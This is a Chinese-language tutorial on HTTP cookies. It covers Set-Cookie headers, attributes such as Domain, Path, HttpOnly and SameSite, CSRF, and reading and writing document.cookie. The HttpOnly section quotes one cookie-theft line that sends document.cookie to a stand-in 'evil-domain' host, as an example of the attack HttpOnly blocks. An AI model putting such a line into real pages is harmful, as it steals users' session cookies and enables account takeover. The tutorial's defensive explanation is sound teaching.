概述
Cookie 是服務(wù)器保存在瀏覽器的一小段文本信息,一般大小不能超過4KB。瀏覽器每次向服務(wù)器發(fā)出請求,就會自動附上這段信息。
HTTP 協(xié)議不帶有狀態(tài),有些請求需要區(qū)分狀態(tài),就通過 Cookie 附帶字符串,讓服務(wù)器返回不一樣的回應(yīng)。舉例來說,用戶登錄以后,服務(wù)器往往會在網(wǎng)站上留下一個(gè) Cookie,記錄用戶編號(比如id=1234
),以后每次瀏覽器向服務(wù)器請求數(shù)據(jù),就會帶上這個(gè)字符串,服務(wù)器從而知道是誰在請求,應(yīng)該回應(yīng)什么內(nèi)容。
Cookie 的目的就是區(qū)分用戶,以及放置狀態(tài)信息,它的使用場景主要如下。
- 對話(session)管理:保存登錄狀態(tài)、購物車等需要記錄的信息。
- 個(gè)性化信息:保存用戶的偏好,比如網(wǎng)頁的字體大小、背景色等等。
- 追蹤用戶:記錄和分析用戶行為。
Cookie 不是一種理想的客戶端存儲機(jī)制。它的容量很?。?KB),缺乏數(shù)據(jù)操作接口,而且會影響性能??蛻舳舜鎯ㄗh使用 Web storage API 和 IndexedDB。只有那些每次請求都需要讓服務(wù)器知道的信息,才應(yīng)該放在 Cookie 里面。
每個(gè) Cookie 都有以下幾方面的元數(shù)據(jù)。
- Cookie 的名字
- Cookie 的值(真正的數(shù)據(jù)寫在這里面)
- 到期時(shí)間(超過這個(gè)時(shí)間會失效)
- 所屬域名(默認(rèn)為當(dāng)前域名)
- 生效的路徑(默認(rèn)為當(dāng)前網(wǎng)址)
舉例來說,用戶訪問網(wǎng)址www.example.com
,服務(wù)器在瀏覽器寫入一個(gè) Cookie。這個(gè) Cookie 的所屬域名為www.example.com
,生效路徑為根路徑/
。
如果 Cookie 的生效路徑設(shè)為/forums
,那么這個(gè) Cookie 只有在訪問www.example.com/forums
及其子路徑時(shí)才有效。以后,瀏覽器訪問某個(gè)路徑之前,就會找出對該域名和路徑有效,并且還沒有到期的 Cookie,一起發(fā)送給服務(wù)器。
用戶可以設(shè)置瀏覽器不接受 Cookie,也可以設(shè)置不向服務(wù)器發(fā)送 Cookie。window.navigator.cookieEnabled
屬性返回一個(gè)布爾值,表示瀏覽器是否打開 Cookie 功能。
window.navigator.cookieEnabled // true
document.cookie
屬性返回當(dāng)前網(wǎng)頁的 Cookie。
document.cookie // "id=foo;key=bar"
不同瀏覽器對 Cookie 數(shù)量和大小的限制,是不一樣的。一般來說,單個(gè)域名設(shè)置的 Cookie 不應(yīng)超過30個(gè),每個(gè) Cookie 的大小不能超過 4KB。超過限制以后,Cookie 將被忽略,不會被設(shè)置。
Cookie 是按照域名區(qū)分的,foo.com
只能讀取自己放置的 Cookie,無法讀取其他網(wǎng)站(比如bar.com
)放置的 Cookie。一般情況下,一級域名也不能讀取二級域名留下的 Cookie,比如mydomain.com
不能讀取subdomain.mydomain.com
設(shè)置的 Cookie。但是有一個(gè)例外,設(shè)置 Cookie 的時(shí)候(不管是一級域名設(shè)置的,還是二級域名設(shè)置的),明確將domain
屬性設(shè)為一級域名,則這個(gè)域名下面的各級域名可以共享這個(gè)
Cookie。
Set-Cookie: name=value; domain=mydomain.com
上面示例中,設(shè)置 Cookie 時(shí),domain
屬性設(shè)為mydomain.com
,那么各級的子域名和一級域名都可以讀取這個(gè) Cookie。
注意,區(qū)分 Cookie 時(shí)不考慮協(xié)議和端口。也就是說,http://example.com
設(shè)置的 Cookie,可以被https://example.com
或http://example.com:8080
讀取。
Cookie 與 HTTP 協(xié)議
Cookie 由 HTTP 協(xié)議生成,也主要是供 HTTP 協(xié)議使用。
HTTP 回應(yīng):Cookie 的生成
服務(wù)器如果希望在瀏覽器保存 Cookie,就要在 HTTP 回應(yīng)的頭信息里面,放置一個(gè)Set-Cookie
字段。
Set-Cookie:foo=bar
上面代碼會在瀏覽器保存一個(gè)名為foo
的 Cookie,它的值為bar
。
HTTP 回應(yīng)可以包含多個(gè)Set-Cookie
字段,即在瀏覽器生成多個(gè) Cookie。下面是一個(gè)例子。
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[page content]
除了 Cookie 的值,Set-Cookie
字段還可以附加 Cookie 的屬性。
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
上面的幾個(gè)屬性的含義,將在后文解釋。
一個(gè)Set-Cookie
字段里面,可以同時(shí)包括多個(gè)屬性,沒有次序的要求。
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
下面是一個(gè)例子。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
如果服務(wù)器想改變一個(gè)早先設(shè)置的 Cookie,必須同時(shí)滿足四個(gè)條件:Cookie 的key
、domain
、path
和secure
都匹配。舉例來說,如果原始的 Cookie 是用如下的Set-Cookie
設(shè)置的。
Set-Cookie: key1=value1; domain=example.com; path=/blog
改變上面這個(gè) Cookie 的值,就必須使用同樣的Set-Cookie
。
Set-Cookie: key1=value2; domain=example.com; path=/blog
只要有一個(gè)屬性不同,就會生成一個(gè)全新的 Cookie,而不是替換掉原來那個(gè) Cookie。
Set-Cookie: key1=value2; domain=example.com; path=/
上面的命令設(shè)置了一個(gè)全新的同名 Cookie,但是path
屬性不一樣。下一次訪問example.com/blog
的時(shí)候,瀏覽器將向服務(wù)器發(fā)送兩個(gè)同名的 Cookie。
Cookie: key1=value1; key1=value2
上面代碼的兩個(gè) Cookie 是同名的,匹配越精確的 Cookie 排在越前面。
HTTP 請求:Cookie 的發(fā)送
瀏覽器向服務(wù)器發(fā)送 HTTP 請求時(shí),每個(gè)請求都會帶上相應(yīng)的 Cookie。也就是說,把服務(wù)器早前保存在瀏覽器的這段信息,再發(fā)回服務(wù)器。這時(shí)要使用 HTTP 頭信息的Cookie
字段。
Cookie: foo=bar
上面代碼會向服務(wù)器發(fā)送名為foo
的 Cookie,值為bar
。
Cookie
字段可以包含多個(gè) Cookie,使用分號(;
)分隔。
Cookie: name=value; name2=value2; name3=value3
下面是一個(gè)例子。
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
服務(wù)器收到瀏覽器發(fā)來的 Cookie 時(shí),有兩點(diǎn)是無法知道的。
- Cookie 的各種屬性,比如何時(shí)過期。
- 哪個(gè)域名設(shè)置的 Cookie,到底是一級域名設(shè)的,還是某一個(gè)二級域名設(shè)的。
Cookie 的屬性
Expires,Max-Age
Expires
屬性指定一個(gè)具體的到期時(shí)間,到了指定時(shí)間以后,瀏覽器就不再保留這個(gè) Cookie。它的值是 UTC 格式,可以使用Date.prototype.toUTCString()
進(jìn)行格式轉(zhuǎn)換。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
如果不設(shè)置該屬性,或者設(shè)為null
,Cookie 只在當(dāng)前會話(session)有效,瀏覽器窗口一旦關(guān)閉,當(dāng)前 Session 結(jié)束,該 Cookie 就會被刪除。另外,瀏覽器根據(jù)本地時(shí)間,決定 Cookie 是否過期,由于本地時(shí)間是不精確的,所以沒有辦法保證 Cookie 一定會在服務(wù)器指定的時(shí)間過期。
Max-Age
屬性指定從現(xiàn)在開始 Cookie 存在的秒數(shù),比如60 * 60 * 24 * 365
(即一年)。過了這個(gè)時(shí)間以后,瀏覽器就不再保留這個(gè) Cookie。
如果同時(shí)指定了Expires
和Max-Age
,那么Max-Age
的值將優(yōu)先生效。
如果Set-Cookie
字段沒有指定Expires
或Max-Age
屬性,那么這個(gè) Cookie 就是 Session Cookie,即它只在本次對話存在,一旦用戶關(guān)閉瀏覽器,瀏覽器就不會再保留這個(gè) Cookie。
Domain,Path
Domain
屬性指定 Cookie 屬于哪個(gè)域名,以后瀏覽器向服務(wù)器發(fā)送 HTTP 請求時(shí),通過這個(gè)屬性判斷是否要附帶某個(gè) Cookie。
服務(wù)器設(shè)定 Cookie 時(shí),如果沒有指定 Domain 屬性,瀏覽器會默認(rèn)將其設(shè)為瀏覽器的當(dāng)前域名。如果當(dāng)前域名是一個(gè) IP 地址,則不得設(shè)置 Domain 屬性。
如果指定 Domain 屬性,需要遵守下面規(guī)則:Domain 屬性只能是當(dāng)前域名或者當(dāng)前域名的上級域名,但設(shè)為上級域名時(shí),不能設(shè)為頂級域名或公共域名。(頂級域名指的是 .com、.net 這樣的域名,公共域名指的是開放給外部用戶設(shè)置子域名的域名,比如 github.io。)如果不符合上面這條規(guī)則,瀏覽器會拒絕設(shè)置這個(gè) Cookie。
舉例來說,當(dāng)前域名為x.y.z.com
,那么 Domain 屬性可以設(shè)為x.y.z.com
,或者y.z.com
,或者z.com
,但不能設(shè)為foo.x.y.z.com
,或者another.domain.com
。
另一個(gè)例子是,當(dāng)前域名為wangdoc.github.io
,則 Domain 屬性只能設(shè)為wangdoc.github.io
,不能設(shè)為github.io
,因?yàn)楹笳呤且粋€(gè)公共域名。
瀏覽器發(fā)送 Cookie 時(shí),Domain 屬性必須與當(dāng)前域名一致,或者是當(dāng)前域名的上級域名(公共域名除外)。比如,Domain 屬性是y.z.com
,那么適用于y.z.com
、x.y.z.com
、foo.x.y.z.com
等域名。再比如,Domain 屬性是公共域名github.io
,那么只適用于github.io
這個(gè)域名本身,不適用于它的子域名wangdoc.github.io
。
Path
屬性指定瀏覽器發(fā)出 HTTP 請求時(shí),哪些路徑要附帶這個(gè) Cookie。只要瀏覽器發(fā)現(xiàn),Path
屬性是 HTTP 請求路徑的開頭一部分,就會在頭信息里面帶上這個(gè) Cookie。比如,Path
屬性是/
,那么請求/docs
路徑也會包含該 Cookie。當(dāng)然,前提是 Domain 屬性必須符合條件。
Secure,HttpOnly
Secure
屬性指定瀏覽器只有在加密協(xié)議 HTTPS 下,才能將這個(gè) Cookie 發(fā)送到服務(wù)器。另一方面,如果當(dāng)前協(xié)議是 HTTP,瀏覽器會自動忽略服務(wù)器發(fā)來的Secure
屬性。該屬性只是一個(gè)開關(guān),不需要指定值。如果通信是 HTTPS 協(xié)議,該開關(guān)自動打開。
HttpOnly
屬性指定該 Cookie 無法通過 JavaScript 腳本拿到,主要是document.cookie
屬性、XMLHttpRequest
對象和 Request API 都拿不到該屬性。這樣就防止了該 Cookie 被腳本讀到,只有瀏覽器發(fā)出 HTTP 請求時(shí),才會帶上該 Cookie。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
上面是跨站點(diǎn)載入的一個(gè)惡意腳本的代碼,能夠?qū)?dāng)前網(wǎng)頁的 Cookie 發(fā)往第三方服務(wù)器。如果設(shè)置了一個(gè) Cookie 的HttpOnly
屬性,上面代碼就不會讀到該 Cookie。
SameSite
Chrome 51 開始,瀏覽器的 Cookie 新增加了一個(gè)SameSite
屬性,用來防止 CSRF 攻擊和用戶追蹤。
Cookie 往往用來存儲用戶的身份信息,惡意網(wǎng)站可以設(shè)法偽造帶有正確 Cookie 的 HTTP 請求,這就是 CSRF 攻擊。舉例來說,用戶登陸了銀行網(wǎng)站your-bank.com
,銀行服務(wù)器發(fā)來了一個(gè) Cookie。
Set-Cookie:id=a3fWa;
用戶后來又訪問了惡意網(wǎng)站malicious.com
,上面有一個(gè)表單。
<form action="your-bank.com/transfer" method="POST">
...
</form>
用戶一旦被誘騙發(fā)送這個(gè)表單,銀行網(wǎng)站就會收到帶有正確 Cookie 的請求。為了防止這種攻擊,官網(wǎng)的表單一般都帶有一個(gè)隨機(jī) token,官網(wǎng)服務(wù)器通過驗(yàn)證這個(gè)隨機(jī) token,確認(rèn)是否為真實(shí)請求。
<form action="your-bank.com/transfer" method="POST">
<input type="hidden" name="token" value="dad3weg34">
...
</form>
這種第三方網(wǎng)站引導(dǎo)而附帶發(fā)送的 Cookie,就稱為第三方 Cookie。它除了用于 CSRF 攻擊,還可以用于用戶追蹤。比如,F(xiàn)acebook 在第三方網(wǎng)站插入一張看不見的圖片。
<img src="facebook.com" style="visibility:hidden;">
瀏覽器加載上面代碼時(shí),就會向 Facebook 發(fā)出帶有 Cookie 的請求,從而 Facebook 就會知道你是誰,訪問了什么網(wǎng)站。
Cookie 的SameSite
屬性用來限制第三方 Cookie,從而減少安全風(fēng)險(xiǎn)。它可以設(shè)置三個(gè)值。
- Strict
- Lax
- None
(1)Strict
Strict
最為嚴(yán)格,完全禁止第三方 Cookie,跨站點(diǎn)時(shí),任何情況下都不會發(fā)送 Cookie。換言之,只有當(dāng)前網(wǎng)頁的 URL 與請求目標(biāo)一致,才會帶上 Cookie。
Set-Cookie: CookieName=CookieValue; SameSite=Strict;
這個(gè)規(guī)則過于嚴(yán)格,可能造成非常不好的用戶體驗(yàn)。比如,當(dāng)前網(wǎng)頁有一個(gè) GitHub 鏈接,用戶點(diǎn)擊跳轉(zhuǎn)就不會帶有 GitHub 的 Cookie,跳轉(zhuǎn)過去總是未登陸狀態(tài)。
(2)Lax
Lax
規(guī)則稍稍放寬,大多數(shù)情況也是不發(fā)送第三方 Cookie,但是導(dǎo)航到目標(biāo)網(wǎng)址的 Get 請求除外。
Set-Cookie: CookieName=CookieValue; SameSite=Lax;
導(dǎo)航到目標(biāo)網(wǎng)址的 GET 請求,只包括三種情況:鏈接,預(yù)加載請求,GET 表單。詳見下表。
請求類型 | 示例 | 正常情況 | Lax |
---|---|---|---|
鏈接 | <a href="..."></a>
|
發(fā)送 Cookie | 發(fā)送 Cookie |
預(yù)加載 | <link rel="prerender" href="..."/>
|
發(fā)送 Cookie | 發(fā)送 Cookie |
GET 表單 | <form method="GET" action="...">
|
發(fā)送 Cookie | 發(fā)送 Cookie |
POST 表單 | <form method="POST" action="...">
|
發(fā)送 Cookie | 不發(fā)送 |
iframe | <iframe src="..."></iframe>
|
發(fā)送 Cookie | 不發(fā)送 |
AJAX | $.get("...")
|
發(fā)送 Cookie | 不發(fā)送 |
Image | <img src="...">
|
發(fā)送 Cookie | 不發(fā)送 |
設(shè)置了Strict
或Lax
以后,基本就杜絕了 CSRF 攻擊。當(dāng)然,前提是用戶瀏覽器支持 SameSite 屬性。
(3)None
Chrome 計(jì)劃將Lax
變?yōu)槟J(rèn)設(shè)置。這時(shí),網(wǎng)站可以選擇顯式關(guān)閉SameSite
屬性,將其設(shè)為None
。不過,前提是必須同時(shí)設(shè)置Secure
屬性(Cookie 只能通過 HTTPS 協(xié)議發(fā)送),否則無效。
下面的設(shè)置無效。
Set-Cookie: widget_session=abc123; SameSite=None
下面的設(shè)置有效。
Set-Cookie: widget_session=abc123; SameSite=None; Secure
document.cookie
document.cookie
屬性用于讀寫當(dāng)前網(wǎng)頁的 Cookie。
讀取的時(shí)候,它會返回當(dāng)前網(wǎng)頁的所有 Cookie,前提是該 Cookie 不能有HTTPOnly
屬性。
document.cookie // "foo=bar;baz=bar"
上面代碼從document.cookie
一次性讀出兩個(gè) Cookie,它們之間使用分號分隔。必須手動還原,才能取出每一個(gè) Cookie 的值。
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
console.log(cookies[i]);
}
// foo=bar
// baz=bar
document.cookie
屬性是可寫的,可以通過它為當(dāng)前網(wǎng)站添加 Cookie。
document.cookie = 'fontSize=14';
寫入的時(shí)候,Cookie 的值必須寫成key=value
的形式。注意,等號兩邊不能有空格。另外,寫入 Cookie 的時(shí)候,必須對分號、逗號和空格進(jìn)行轉(zhuǎn)義(它們都不允許作為 Cookie 的值),這可以用encodeURIComponent
方法達(dá)到。
但是,document.cookie
一次只能寫入一個(gè) Cookie,而且寫入并不是覆蓋,而是添加。
document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world
document.cookie
讀寫行為的差異(一次可以讀出全部 Cookie,但是只能寫入一個(gè) Cookie),與 HTTP 協(xié)議的 Cookie 通信格式有關(guān)。瀏覽器向服務(wù)器發(fā)送 Cookie 的時(shí)候,Cookie
字段是使用一行將所有 Cookie 全部發(fā)送;服務(wù)器向?yàn)g覽器設(shè)置 Cookie 的時(shí)候,Set-Cookie
字段是一行設(shè)置一個(gè) Cookie。
寫入 Cookie 的時(shí)候,可以一起寫入 Cookie 的屬性。
document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";
上面代碼中,寫入 Cookie 的時(shí)候,同時(shí)設(shè)置了expires
屬性。屬性值的等號兩邊,也是不能有空格的。
各個(gè)屬性的寫入注意點(diǎn)如下。
path
屬性必須為絕對路徑,默認(rèn)為當(dāng)前路徑。domain
屬性值必須是當(dāng)前發(fā)送 Cookie 的域名的一部分。比如,當(dāng)前域名是example.com
,就不能將其設(shè)為foo.com
。該屬性默認(rèn)為當(dāng)前的一級域名(不含二級域名)。如果顯式設(shè)置該屬性,則該域名的任意子域名也可以讀取 Cookie。max-age
屬性的值為秒數(shù)。expires
屬性的值為 UTC 格式,可以使用Date.prototype.toUTCString()
進(jìn)行日期格式轉(zhuǎn)換。
document.cookie
寫入 Cookie 的例子如下。
document.cookie = 'fontSize=14; '
+ 'expires=' + someDate.toGMTString() + '; '
+ 'path=/subdirectory; '
+ 'domain=example.com';
注意,上面的domain
屬性,以前的寫法是.example.com
,表示子域名也可以讀取該 Cookie,新的寫法可以省略前面的點(diǎn)。
Cookie 的屬性一旦設(shè)置完成,就沒有辦法讀取這些屬性的值。
刪除一個(gè)現(xiàn)存 Cookie 的唯一方法,是設(shè)置它的expires
屬性為一個(gè)過去的日期。
document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';
上面代碼中,名為fontSize
的 Cookie 的值為空,過期時(shí)間設(shè)為1970年1月1月零點(diǎn),就等同于刪除了這個(gè) Cookie。
參考鏈接
- HTTP cookies, by MDN
- Using the Same-Site Cookie Attribute to Prevent CSRF Attacks
- SameSite cookies explained
- Tough Cookies, Scott Helme
- Cross-Site Request Forgery is dead!, Scott Helme
更多建議: